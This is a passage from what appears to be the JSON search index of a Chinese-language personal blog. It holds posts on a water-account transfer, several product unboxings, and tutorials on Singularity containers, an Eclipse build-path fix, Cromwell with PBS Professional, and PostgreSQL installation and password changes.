碼，在許多單據上都可以找到（水號跟水錶上的錶號不同，別搞混了），有水號的話，查起來會比較方便。\n一般自來水申請過戶，不需要原用戶的資料，新用戶只要準備好自己的資料，就可以直接去自來水公司辦理，過戶前會先檢查之前是否有欠費，若有欠費的話則必須先繳清後才能過戶。\n自來水公司目前不太能跨區辦理業務，所以最好到自己家附近的自來水公司服務處辦理，如果跑錯地方也是可以辦理，只不過申請表格之類的紙本文書就要用郵寄的，辦理起來會比較慢。\n除了臨櫃辦理之外，自來水公司網站也有提供線上辦理過戶的服務。\n","permalink":"https://blog.gtwang.org/life/tap-water-transfer-tutorial-2019/","summary":"\u003cp\u003e這裡介紹如何辦理一般家用自來水的過戶。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e有時候因為房屋買賣等因素，我們會需要辦理自來水的過戶，辦理的流程很簡單，如果是新用戶本人臨櫃辦理的話，只要準備好以下資料，到當地的自來水公司服務處辦理即可。\u003c/p\u003e","title":"自來水過戶教學"},{"content":"本篇是 GIYO GP-41S 迷你隨車打氣筒的簡單開箱文。\n前陣子阿玄買了一顆籃球帶去學校，平常籃球需要打氣，我就把舊的隨車打氣筒送他了，而我的腳踏車沒有打氣筒也不行，所以又買了一隻。\n這次我挑的是 GIYO GP-41S 這一隻迷你隨車打氣筒，體積小、不佔空間，又有胎壓表，重點是很便宜，一隻只要 110 元，加上運費 60 元，總共是 170 元。\n以一隻 110 元，又有胎壓表的打氣筒來說，這一隻真的還不錯。\n背面有附贈一條魔鬼氈的束帶，以及兩根螺絲。\n這款打氣筒的胎壓表一格刻度是 10 PSI，一隻只賣 110 元，也沒辦法要求太多。\n這是拉開打氣筒的樣子。\n氣嘴是美式、法式通用的，跟一般打氣筒差不多。\n","permalink":"https://blog.gtwang.org/unboxing/giyo-gp-41s-mini-pump-with-in-line-gauge/","summary":"\u003cp\u003e本篇是 GIYO GP-41S 迷你隨車打氣筒的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e前陣子阿玄買了一顆籃球帶去學校，平常籃球需要打氣，我就把舊的隨車打氣筒送他了，而我的腳踏車沒有打氣筒也不行，所以又買了一隻。\u003c/p\u003e","title":"[開箱] GIYO GP-41S 迷你隨車打氣筒"},{"content":"本篇是 MacBook Pro 15 吋 2018 款的簡單開箱文。\n我想網路上 MacBook Pro 的開箱文已經非常多了，所以這裡我只是單純記錄一下我這次買的 MacBook Pro。\n打開外箱。\n這是 15 吋 MacBook Pro 的外盒。\n盒子底部有詳細的硬體規格。\n打開盒子，裡面就是一台 15 吋的 MacBook Pro 筆記型電腦。\n把 MacBook Pro 拿起來之後，下方還有一些配件。\nMacBook Pro 的配件很簡單，只有一個充電器、USB Type C 電源線，還有一小疊說明書之類的東西。\n15 吋的 MacBook Pro 剛開始拿到的時候感覺還滿重的，不過後來拿習慣感覺就還好。\n這是 MacBook Pro 底部的樣子。\n打開螢幕，裡面有一張保護膜。\n這是撕下保護膜的樣子。\nMacBook Pro 的鍵盤非常薄，手感還不錯。\n這次買這台 MacBook Pro 的時候，也順便買了一些配件，這是 INCASE 的防震筆電保護內袋。\n這兩個則是 moshi 的防窺螢幕保護貼與鍵盤膜。\n這是裝上 moshi 防窺螢幕保護貼與鍵盤膜的樣子。\n這一台 MacBook Pro 剛買來的時候，作業系統是 macOS High Sierra，可以自己上網升級成 macOS Mojave。\n","permalink":"https://blog.gtwang.org/unboxing/macbook-pro-15-inch-2018/","summary":"\u003cp\u003e本篇是 MacBook Pro 15 吋 2018 款的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e我想網路上 MacBook Pro 的開箱文已經非常多了，所以這裡我只是單純記錄一下我這次買的 MacBook Pro。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e\u003cimg alt=\"外箱\" loading=\"lazy\" src=\"/unboxing/macbook-pro-15-inch-2018/macbook-pro-15-inch-2018-20190524-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e打開外箱。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"打開外箱\" loading=\"lazy\" src=\"/unboxing/macbook-pro-15-inch-2018/macbook-pro-15-inch-2018-20190524-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是 15 吋 MacBook Pro 的外盒。\u003c/p\u003e","title":"[開箱] MacBook Pro 15 吋 2018 款"},{"content":"本篇是 羅技 G433 7.1 聲道環繞音效遊戲耳機麥克風的簡單開箱文。\n最近因為時常需要用 Skype 開視訊會議，而之前買的 Sennheiser HD 4.40 BT 藍牙無線耳機雖然有麥克風，但是收音實在不是很好，所以這次又買了一副羅技的 G433 耳機麥克風。\n這是外盒的背面。\n抽出外層的包裝，裡面還有一個內盒。\n打開內盒，直接看到耳機。\n這一款耳機的配件還真不少。\n這些是耳機與所有的配件，配件除了一堆線材之外，還有附帶另外一個比較薄一點的耳罩，以及收納袋。\n耳機上有兩個插孔，一個用來插耳機線，一個用來插麥克風。\n跟一般耳機一樣可以調整大小。\n這款耳機的耳罩很大，戴起來的時候，可以把整個耳朵都包覆住，不會壓到耳朵，讓人感覺非常舒服。\n附贈的線材相當完整，不管是一般電腦、筆記型電腦或是手機，都可以非常方便的使用這款耳機。\n這一條是接電腦的線，上面有音量調整紐。\n同時還有靜音開關。\n這是我把麥克風與電腦連接線插上去的樣子，麥克風不用的時候可以直接拔下來，電腦接線也設計的比較長一些，完全符合我的需求。\n這款耳機整體設計真的很不錯，對我來說非常實用。\n","permalink":"https://blog.gtwang.org/unboxing/logitech-g433-7-1-surround-sound-gaming-headset/","summary":"\u003cp\u003e本篇是 羅技 G433 7.1 聲道環繞音效遊戲耳機麥克風的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近因為時常需要用 Skype 開視訊會議，而之前買的 Sennheiser HD 4.40 BT 藍牙無線耳機雖然有麥克風，但是收音實在不是很好，所以這次又買了一副羅技的 G433 耳機麥克風。\u003c/p\u003e","title":"[開箱] 羅技 G433 7.1 聲道環繞音效遊戲耳機麥克風"},{"content":"本篇介紹如何在 Linux 中安裝 Singularity 容器，並自行建立影像檔。\nSingularity 的安裝過程需要自行從原始碼編譯，所以安裝過程會比較複雜一些，我的測試環境是 CentOS Linux 7.6 與 Ubuntu Linux 19.04，安裝的 Singularity 版本是 3.2，對於不同的 Linux 發行版，除了安裝系統套件的指令不同之外，其餘的安裝過程都相同。\n安裝系統套件 安裝系統套件的指令會因為 Linux 發行版而有不同，請依照各自所屬的 Linux 發行版安裝對應的套件。\nCentOS Linux # 更新套件庫 sudo yum update # 安裝開發者套件 sudo yum groupinstall \u0026#39;Development Tools\u0026#39; # 安裝必要套件 sudo yum install libarchive-devel wget openssl-devel libuuid-devel squashfs-tools Ubuntu Linux # 更新套件庫 sudo apt-get update # 安裝必要套件 sudo apt-get install build-essential libssl-dev uuid-dev libgpgme11-dev squashfs-tools wget git 安裝 Go 參考 Go 官方的說明，下載並安裝 Go：\n# 下載並安裝 Go wget https://dl.google.com/go/go1.12.5.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.12.5.linux-amd64.tar.gz 在 ~/.bashrc 中加入 PATH 的設定：\n# 設定 PATH export PATH=$PATH:/usr/local/go/bin 載入新的 PATH 設定：\n# 載入新的 PATH 設定 source ~/.bashrc 測試 Go 是否安裝成功：\ngo version go version go1.12.5 linux/amd64 安裝 Singularity Singularity 的安裝方式有好幾種，最傳統的就是從原始碼編譯安裝：\n# 下載 Singularity 原始碼 git clone https://github.com/sylabs/singularity.git # 編譯 Singularity cd singularity ./mconfig make -C builddir # 安裝 Singularity sudo make -C builddir install 安裝好之後，測試是否可以正常執行：\n# 查詢 Singularity 版本 singularity version 3.2.0-521.g3b81f65 除了自行編譯安裝之外，亦可使用 apt 或 yum 安裝預先編譯好的版本：\n# 使用 apt 安裝 Singularity sudo wget -O- http://neuro.debian.net/lists/xenial.us-ca.full | sudo tee /etc/apt/sources.list.d/neurodebian.sources.list sudo apt-key adv --recv-keys --keyserver hkp://pool.sks-keyservers.net:80 0xA5D32F012649A5A9 sudo apt-get update sudo apt-get install singularity-container # 使用 yum 安裝 Singularity sudo yum update sudo yum install epel-release sudo yum update sudo yum install singularity-runtime singularity 關於更詳細的安裝說明，請參考 Singularity 官方網站。\n使用影像檔 若要執行指定的 Singularity 影像檔，可以使用 run 指令，加上影像檔的位址：\n# 執行 Singularity 影像檔 singularity run library://sylabsed/examples/lolcow 若想要開啟互動式的 shell 環境，可以使用 shell 指令：\n# 在容器中開啟互動式 shell singularity shell library://sylabsed/examples/lolcow 下載影像檔 若要下載 Singularity 的影像檔，可以使用 pull 指令：\n# 下載 Singularity 影像檔 singularity pull library://sylabsed/examples/lolcow Singularity 亦可直接下載 Docker 的影像檔：\n# 下載 Docker 影像檔 singularity pull docker://godlovedc/lolcow Singularity 會將下載的影像檔儲存為 SIF 檔案，可用 run 指令執行：\n# 執行 Singularity 影像檔 singularity run lolcow_latest.sif 另外 SIF 檔案亦可直接執行：\n# 直接執行 SIF 檔案 ./lolcow_latest.sif 在容器中執行指令 若要在 Singularity 容器中執行特定的指令，可以使用 exec 指令：\n# 在 Singularity 容器中執行 cowsay moo singularity exec lolcow_latest.sif cowsay moo 檔案與管線 Singularity 在預設的狀況下會自動綁定 /home/$USER、/tmp 與 $PWD 這三個實體機器上的目錄，也就是說在 Singularity 容器中可以直接存取這三個目錄下的檔案：\n# 建立 $HOME 下的檔案 echo \u0026#34;Hello, Singularity.\u0026#34; \u0026amp;gt; $HOME/hostfile.txt # 於 Singularity 中存取 $HOME 下的檔案 singularity exec lolcow_latest.sif cat $HOME/hostfile.txt Hello, Singularity. 資料除了以檔案傳遞之外，亦可直接透過管線（pipe）的方式，直接導入 Singularity 容器中：\n# 使用管線傳遞資料進入 Singularity 容器 echo \u0026#34;Hello, Singularity.\u0026#34; | singularity exec lolcow_latest.sif cowsay _____________________ \u0026lt; Hello, Singularity. \u0026gt; --------------------- ^__^ (oo)_______ (__) )/ ||----w | || || 自訂 Singularity 影像檔 建立沙箱目錄：\n# 建立沙箱目錄 singularity build --sandbox ubuntu/ library://ubuntu 這樣可以將 ubuntu 這個 Singularity 影像檔解開，放在一個名稱為 ubuntu 的沙箱目錄中，我們可以使用 shell、exec 或 run 指令來操作這個沙箱目錄，操作時若需要寫入資料，可以加上 --write 參數：\n# 使用沙箱目錄自訂容器環境 singularity shell --writable ubuntu/ 將環境準備好之後，再將其打包起來，變成一個新的 SIF 檔案：\n# 將沙箱目錄打包成 SIF 檔案 singularity build new_ubuntu.sif ubuntu Singularity 定義檔 另外一種自訂 Singularity 影樣檔的方式是使用定義檔，首先準備如下的定義檔 lolcow.def：\nBootStrap: library From: ubuntu:16.04 %post apt-get -y update apt-get -y install fortune cowsay lolcat %environment export LC_ALL=C export PATH=/usr/games:$PATH %runscript fortune | cowsay | lolcat %labels Author GodloveD 然後即可以既有的 Singularity 影像檔為基礎，建立新的影像檔：\n# 以 Singularity 定義檔建立影像檔 sudo singularity build lolcow.sif lolcow.def ","permalink":"https://blog.gtwang.org/linux/singularity-3-installation-and-usage-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中安裝 Singularity 容器，並自行建立影像檔。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.sylabs.io/\"\u003eSingularity\u003c/a\u003e 的安裝過程需要自行從原始碼編譯，所以安裝過程會比較複雜一些，我的測試環境是 CentOS Linux 7.6 與 Ubuntu Linux 19.04，安裝的 Singularity 版本是 3.2，對於不同的 Linux 發行版，除了安裝系統套件的指令不同之外，其餘的安裝過程都相同。\u003c/p\u003e","title":"Linux 安裝 Singularity 3 容器與基本使用教學"},{"content":"本篇記錄在 Eclipse 中，如何處理加入外部的 websocket-api.jar，解決 javax.websocket cannot be resolved 這樣的問題。\n在 Eclipse 中匯入外部專案時，若發生 javax.websocket cannot be resolved 這樣的問題，通常是因為缺少了 websocket-api.jar 這個 JAR 檔案，以下是解決的方法。\nStep 1\n從 Tomcat 的官方網站上下載完整的 Tomcat 伺服器壓縮黨，解壓縮之後，放在自己覺得適合的地方，這裡我以 Tomcat 9 來示範。\nStep 2\n在 Project 的專案列表中，用滑鼠右鍵點擊有問題的專案，選擇「Build Path」下的「Configure Build Path」。\nStep 3\n點選上方的「Library」籤頁，然後點選右側的「Add External JARs…」，新增外部的 JAR 檔案。\nStep 4\n從剛剛下載的 Tomcat 9 目錄中，尋找 websocket-api.jar 這個 JAR 檔案。\nStep 5\n加入 websocket-api.jar 這個 JAR 檔案之後，點選右下方的「Apply and Close」。\nStep 6\n這樣就解決 javax.websocket cannot be resolved 的問題了。\n","permalink":"https://blog.gtwang.org/programming/eclipse-javax-websocket-cannot-be-resolved-solution/","summary":"\u003cp\u003e本篇記錄在 Eclipse 中，如何處理加入外部的 \u003ccode\u003ewebsocket-api.jar\u003c/code\u003e，解決 \u003ccode\u003ejavax.websocket cannot be resolved\u003c/code\u003e 這樣的問題。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在 Eclipse 中匯入外部專案時，若發生 \u003ccode\u003ejavax.websocket cannot be resolved\u003c/code\u003e 這樣的問題，通常是因為缺少了 \u003ccode\u003ewebsocket-api.jar\u003c/code\u003e 這個 JAR 檔案，以下是解決的方法。\u003c/p\u003e","title":"Eclipse 出現 javax.websocket cannot be resolved 問題解決方法教學"},{"content":"本篇是 SONY ICD-UX560F 4GB 完美焦點錄音筆的簡單開箱文。\n最近買了一隻 SONY ICD-UX560F 4GB 的錄音筆，這一隻又比我之前買的 SONY ICD-PX440 更高級一些，功能大同小異，最大的差別應該是 SONY ICD-UX560F 這一隻是使用鋰電池，不需要另外裝電池，直接用 USB 充電即可，使用上會比較方便一些。\n這是 SONY ICD-UX560F 的外盒。\n打開外盒。\n這些就是錄音筆以及所有的配件。\n這是錄音筆的正面，按鈕與操作介面幾乎跟 SONY ICD-PX440 相同。\n這是錄音筆的背面，因為不用裝電池，所以背面沒有什麼特別的。\n這一側有電源、HOLD、音量與 USB 接頭紐。\n頂部有一個耳機孔以及一個麥克風孔，兩側是內建的收音麥克風。\n另外一側是 MicroSD 卡的插槽。\n底部有一個內建的小喇叭，以及可隱藏的 USB 接頭。\n要使用 USB 接頭的時候，將其推出即可使用，平常可以收進去，真的是非常方便的設計。\n這款錄音筆有附贈一個保護套。\n保護套的厚度滿厚的。\n錄音筆放進保護套之後，會露出頂端麥克風的部分，可能是設計讓使用者可以方便錄音。\n這是把錄音筆顯示面板的保護貼紙撕掉的樣子。\n第一次使用時，要先選擇語言，有繁體中文可用，不用擔心不好操作。\n這是主選單，除了基本的錄音功能，還有收音機等附加功能。\n這是錄音功能的介面。\n由是錄音筆，所以我只會拿它來錄音，錄音的操作介面很簡單，各種選項也都有中文顯示，我連說明書都懶得看就直接拿來用了，SONY 的錄音筆我用到現在第二隻，感覺都很滿意。\n","permalink":"https://blog.gtwang.org/unboxing/sony-digital-voice-recorders-icd-ux560f/","summary":"\u003cp\u003e本篇是 SONY ICD-UX560F 4GB 完美焦點錄音筆的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近買了一隻 SONY ICD-UX560F 4GB 的錄音筆，這一隻又比我之前買的 \u003ca href=\"/unboxing/sony-icd-px440-digital-voice-recorder/\"\u003eSONY ICD-PX440\u003c/a\u003e 更高級一些，功能大同小異，最大的差別應該是 SONY ICD-UX560F 這一隻是使用鋰電池，不需要另外裝電池，直接用 USB 充電即可，使用上會比較方便一些。\u003c/p\u003e","title":"[開箱] SONY ICD-UX560F 4GB 完美焦點錄音筆"},{"content":"本篇記錄如何在 PBS Professional 的排程系統下，使用 Cromwell 執行與管理 WDL Workflow。\n下載 Cromwell JAR 封裝檔 從 Cromwell 的 GitHub 網站上可以下載包裝好的 JAR 封裝檔案：\nwget https://github.com/broadinstitute/cromwell/releases/download/41/cromwell-41.jar 另外建議可以同時下載 WOMtool：\nwget https://github.com/broadinstitute/cromwell/releases/download/41/womtool-41.jar Backend 設定 參考 SGE 的設定檔範例，編寫 PBS Professional 排程系統用的 backend 設定檔，並將其儲存為 pbs_backend.conf。\n# Cromwell PBS Backend 設定檔案 # Backend 設定 backend { # 設定預設的 backend（對應下方的 PBS provider） default = PBS # 定義各種 providers providers { # 定義 PBS backend，「PBS」這個名稱是自訂的 PBS { # 讓 Cromwell 使用下方 config 的設定來送出、管理工作 actor-factory = \u0026#34;cromwell.backend.impl.sfs.config.ConfigBackendLifecycleActorFactory\u0026#34; # PBS backend 設定 config { # 最大同時執行的工作數量 concurrent-job-limit = 2 # 定義 HPC 工作執行時所需要的變數 runtime-attributes = \u0026#34;\u0026#34;\u0026#34; Int cpu = 10 Int gpu = 1 String pbs_queue = \u0026#34;ctest\u0026#34; String pbs_project \u0026#34;\u0026#34;\u0026#34; # PBS Pro 送出工作指令 submit = \u0026#34;\u0026#34;\u0026#34; qsub \\ -l select=1:ncpus=${cpu}:mpiprocs=${cpu}:ngpus=${gpu} \\ -N ${job_name} \\ ${\u0026#34;-q \u0026#34; + pbs_queue} \\ ${\u0026#34;-P \u0026#34; + pbs_project} \\ -j oe \\ ${script} \u0026#34;\u0026#34;\u0026#34; # 擷取工作 ID 的正規表示法（regular expression） job-id-regex = \u0026#34;(\\\\d+)\u0026#34; # 中止工作的 PBS Pro 指令 kill = \u0026#34;qdel ${job_id}\u0026#34; # 檢查工作是否正在執行的 PBS Pro 指令 check-alive = \u0026#34;qstat ${job_id}\u0026#34; } } } } WDL Workflow 檔案 準備 WDL Workflow 檔案，將其儲存為 hpc_workflow.wdl。\ntask myTask01 { # 輸出 NVIDIA 顯示卡資訊 command { nvidia-smi } # 指定 PBS Pro 在送工作時所需要的參數 runtime { cpu: 10 gpu: 1 pbs_queue: \u0026#34;gtest\u0026#34; pbs_project: \u0026#34;GOV108018\u0026#34; } # 輸出檔案 output { File nvidia_smi = stdout() } } task myTask02 { # 輸入檔案 File in_file # 計算 \u0026#39;Tesla\u0026#39; 關鍵字出現次數 command { grep \u0026#39;Tesla\u0026#39; ${in_file} | wc -l } # 指定 PBS Pro 在送工作時所需要的參數 runtime { cpu: 2 pbs_queue: \u0026#34;ctest\u0026#34; pbs_project: \u0026#34;GOV108018\u0026#34; } # 輸出整數 output { Int count = read_int(stdout()) } } task myTask03 { # 輸入檔案 File in_file # 計算文字行數 command { cat ${in_file} | wc -l } # 指定 PBS Pro 在送工作時所需要的參數 runtime { cpu: 2 pbs_queue: \u0026#34;ctest\u0026#34; pbs_project: \u0026#34;GOV108018\u0026#34; } # 輸出整數 output { Int count = read_int(stdout()) } } # 定義 Workflow # +--\u0026amp;gt; myTask02 # myTask01 ---+ # +--\u0026amp;gt; myTask03 workflow myWorkflow { call myTask01 call myTask02 { input: in_file=myTask01.nvidia_smi } call myTask03 { input: in_file=myTask01.nvidia_smi } } 送出工作 準備好 pbs_backend.conf 設定檔以及 hpc_workflow.wdl 檔案之後，送出前可以使用 WOMtool 檢查一下 WDL 檔案是否正確。\njava -jar womtool-41.jar validate hpc_workflow.wdl Success! 接著執行 Cromwell 透過 PBS Professional 排程系統，將整個 workflow 送出計算：\njava -Dconfig.file=pbs_backend.conf -jar cromwell-41.jar run hpc_workflow.wdl 參考資料 Cromwell Doc Cromwell RuntimeAttributes OpenWDL ","permalink":"https://blog.gtwang.org/linux/cromwell-pbs-professional-backend-tutorial/","summary":"\u003cp\u003e本篇記錄如何在 PBS Professional 的排程系統下，使用 Cromwell 執行與管理 WDL Workflow。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"下載-cromwell-jar-封裝檔\"\u003e下載 Cromwell JAR 封裝檔\u003c/h2\u003e\n\u003cp\u003e從 \u003ca href=\"https://github.com/broadinstitute/cromwell/releases/\"\u003eCromwell 的 GitHub 網站\u003c/a\u003e上可以下載包裝好的 JAR 封裝檔案：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewget https://github.com/broadinstitute/cromwell/releases/download/41/cromwell-41.jar\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外建議可以同時下載 WOMtool：\u003c/p\u003e","title":"Cromwell 與 PBS Professional 排程系統整合筆記"},{"content":"本篇介紹如何在 psql 中使用指令更改 PostgreSQL 使用者帳號的密碼。\n更改 PostgreSQL 密碼 若要更改 PostgreSQL 使用者帳號的密碼，最標準的作法就是先使用 psql 連線至 PostgreSQL 伺服器：\n# 使用 psql 連線至 PostgreSQL 伺服器 psql 接著再使用 \\password 這個 meta 指令來更改自己的密碼。\n-- 更改自己的密碼 \\password 如果要變更其他使用者的密碼，則要使用 PostgreSQL 管理者的帳號登入：\n# 以 PostgreSQL 管理者登入 sudo -u postgres psql 再用 \\password 變更指定帳號的密碼：\n-- 更改 gtwang 的密碼 \\password gtwang 另外一種修改密碼的方式是使用 ALTER USER 這個 SQL 指令：\n-- 更改 gtwang 的密碼 ALTER USER gtwang WITH PASSWORD \u0026#39;new_password\u0026#39;; 不過這種方式會讓未加密的密碼儲存於 ~/.psql_history 這個歷史紀錄檔中，所以若用這種方式的話，建議事後要把該紀錄檔刪除。\n# 刪除 psql 歷史紀錄檔 rm ~/.psql_history 認證方式 PostgreSQL 對於本機的使用者預設會使用 peer 的方式來認證，也就是說如果透過 Unix-domain socket 連到 PostgreSQL 資料庫，是不需要使用到密碼的，只有使用 TCP/IP socket 連線的時候，才會使用密碼認證。\n如果想要更改認證的方式，可以參考 PostgreSQL 的官方文件，修改 pg_hba.conf 這個設定檔。\n參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/linux/postgresql-change-password-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 \u003ccode\u003epsql\u003c/code\u003e 中使用指令更改 PostgreSQL 使用者帳號的密碼。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"更改-postgresql-密碼\"\u003e更改 PostgreSQL 密碼\u003c/h2\u003e\n\u003cp\u003e若要更改 PostgreSQL 使用者帳號的密碼，最標準的作法就是先使用 \u003ccode\u003epsql\u003c/code\u003e 連線至 PostgreSQL 伺服器：\u003c/p\u003e","title":"PostgreSQL 更改使用者帳號的密碼教學"},{"content":"本篇介紹如何在 Ubuntu Linux 18.04 的環境下，安裝與使用 PostgreSQL 資料庫。\n安裝 PostgreSQL 在 Ubuntu 官方的套件庫中已經有收錄 PostgreSQL 的相關套件，安裝前先更新套件庫資訊：\n# 更新套件庫 sudo apt update 安裝 PostgreSQL 相關套件：\n# 安裝 PostgreSQL sudo apt install postgresql postgresql-contrib 安裝好之後，PostgreSQL 預設會自動啟動，使用 systemctl 指令查看一下 PostgreSQL 的服務是否有正常啟動：\n# 查看 PostgreSQL 服務狀態 systemctl status postgresql.service ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled) Active: active (exited) since Tue 2019-05-07 16:32:14 CST; 6h left Main PID: 1835 (code=exited, status=0/SUCCESS) Tasks: 0 (limit: 4915) CGroup: /system.slice/postgresql.service 5月 07 16:32:14 gtwang-pc systemd[1]: Starting PostgreSQL RDBMS... 5月 07 16:32:14 gtwang-pc systemd[1]: Started PostgreSQL RDBMS. 若 Active 欄位顯示為 active，就表示 PostgreSQL 資料庫服務已經正常啟動了。\nPostgreSQL 官方套件庫 如果想要直接使用 PostgreSQL 官方提供的套件庫來安裝，可以改用以下的安裝方式，使用這種方式比較麻煩，但是可以有更多種 PostgreSQL 版本可以選擇，而且還有提供 pgAdmin 4 的套件。\n# 安裝必要套件 sudo apt install wget ca-certificates # 新增 PostgreSQL 套件庫 sudo sh -c \u0026#39;echo \u0026#34;deb http://apt.postgresql.org/pub/repos/apt/ $(lsb_release -cs)-pgdg main\u0026#34; \u0026gt; /etc/apt/sources.list.d/pgdg.list\u0026#39; # 匯入 PostgreSQL 套件的金鑰 wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add - # 更新套件庫資訊 sudo apt update # 安裝 PostgreSQL 套件 sudo apt install postgresql-10 pgadmin4 psql 管理介面 psql 是 PostgreSQL 資料庫的命令列操作介面，可以用來執行一般的 SQL 指令或是 psql 自己的 meta 指令，對於資料庫的管理以及大量工作的自動化處理非常有用。\n若要進行 PostgreSQL 資料庫的設定與管理工作，必須切換成具有 PostgreSQL 管理權限的使用者（預設是 postgre），然後再執行 psql 進入 PostgreSQL 的指令操作介面：\n# 切換成 postgres 使用者 sudo -i -u postgres # 進入 PostgreSQL 指令介面 psql 另一種方式是使用 sudo 切換成 postgres 只用者之後，直接執行 psql，這樣的話指令會更簡潔：\n# 切換成 postgres 使用者，並進入 PostgreSQL 指令介面 sudo -u postgres psql 進入 psql 的環境之後，就可以執行各種指令，進行資料庫的管理工作，關於 psql 的詳細用法，可以參考 psql 的官方說明文件。\n若要離開 PostgreSQL 指令介面，可以按下 Ctrl + d 這個快速鍵，或是執行 q 指令：\n-- 離開 PostgreSQL 指令介面 q 新增 PostgreSQL 使用者帳號與資料庫 在命令列的環境下，通常管理者都會使用 psql 來管理 PostgreSQL 資料庫，但是對於新增使用者與資料庫這種常見的工作，PostgreSQL 有另外提供包裝好的 Linux 指令可用。\n若要在 PostgreSQL 資料庫中新增使用者，可以用有新增帳號權限的使用者來執行 createuser 這個 Linux 指令：\n# 新增 PostgreSQL 使用者 sudo -u postgres createuser gtwang 事實上 createuser 這個工具只是幫助我們產生 SQL 的指令，並送到 PostgreSQL 伺服器上執行而已，若想要觀看實際執行的 SQL 指令，可以加上 -e 參數。\n若在 Linux 系統上透過本機的 Unix-domain socket 連到 PostgreSQL 資料庫，預設會使用 peer 的認證方式（直接根據 Linux 統帳號來認證，請參考 PostgreSQL 官方文件），所以不需要設定密碼，如果需要改用 TCP/IP socket 連線的話，在建立使用者時就要加上 -P 參數來設定密碼。\nPostgreSQL 的使用者帳號在登入後，預設會使用跟帳號名稱相同的資料庫，我們可以利用 createdb 這個 Linux 指令建立一個跟帳號名稱相同的資料庫：\n# 新增 PostgreSQL 資料庫 sudo -u postgres createdb gtwang 建立好帳號與資料庫之後，就可以使用該 Linux 帳號執行 psql 進入 PostgreSQL 資料庫使用了。\n接下來所有的 PostgreSQL 資料庫操作，都會在 psql 之中進行。\n建立資料表 在使用資料庫時，首先要依照自己的資料型態，並參考 PostgreSQL 的各種資料類型，建立資料表：\n-- 建立資料表 CREATE TABLE demo ( id serial PRIMARY KEY, name varchar (30) NOT NULL, gender char(1) check (gender in (\u0026#39;M\u0026#39;, \u0026#39;F\u0026#39;)), birthday date ); 建立好資料表之後，可以使用 psql 的 d 這個 meta 指令，列出目前已經建立的資料表：\n-- 列出資料表 d List of relations Schema | Name | Type | Owner --------+-------------+----------+-------- public | demo | table | gtwang public | demo_id_seq | sequence | gtwang (2 rows) 這裡的 demo_id_seq 是用來紀錄 demo 資料表中 id 欄位的序號用的，PostgreSQL 要靠著這個來判斷下一個序號是多少，如果不想列出 sequence，可以改用 dt 指令。\nd 亦可用來查看資料表的結構（相當於 MySQL 的 DESCRIBE）：\n-- 檢查資料表結構 d demo Table \"public.demo\" Column | Type | Collation | Nullable | Default ----------+-----------------------+-----------+----------+---------------------------------- id | integer | | not null | nextval('demo_id_seq'::regclass) name | character varying(30) | | not null | gender | character(1) | | | birthday | date | | | Indexes: \"demo_pkey\" PRIMARY KEY, btree (id) Check constraints: \"demo_gender_check\" CHECK (gender = ANY (ARRAY['M'::bpchar, 'F'::bpchar])) 新增資料 新增資料可用 INSERT 這個 SQL 指令：\n-- 新增資料 INSERT INTO demo (name, gender, birthday) VALUES (\u0026#39;Steven\u0026#39;, \u0026#39;M\u0026#39;, \u0026#39;2012-03-21\u0026#39;); 